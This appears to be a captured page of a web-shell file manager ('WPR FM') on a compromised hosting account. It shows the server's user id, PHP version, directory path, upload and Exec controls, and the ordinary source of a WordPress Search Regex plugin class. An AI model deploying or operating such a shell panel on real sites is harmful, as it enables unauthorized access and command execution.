WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
class-builder.php
2366
x
-
class-from.php
695
x
-
class-group.php
346
x
-
class-query.php
5911
x
-
class-value.php
1497
x
D
join/
D
modifier/
D
select/
D
where/
Upload
Simpan
<?php namespace SearchRegex\Sql; /** * Sql FROM */ class From { /** * Table name * * @readonly */ private string $table; /** * Table alias */ private ?string $alias = null; /** * Constructor * * @param Value $table Table name. * @param Value|null $alias Table alias. */ public function __construct( Value $table, ?Value $alias = null ) { $this->table = $table->get_value(); $this->alias = $alias ? $alias->get_value() : null; } /** * Get the FROM as SQL * * @return string */ public function get_as_sql() { if ( $this->alias && $this->alias !== $this->table ) { return $this->table . ' AS ' . $this->alias; } return $this->table; } }
Exec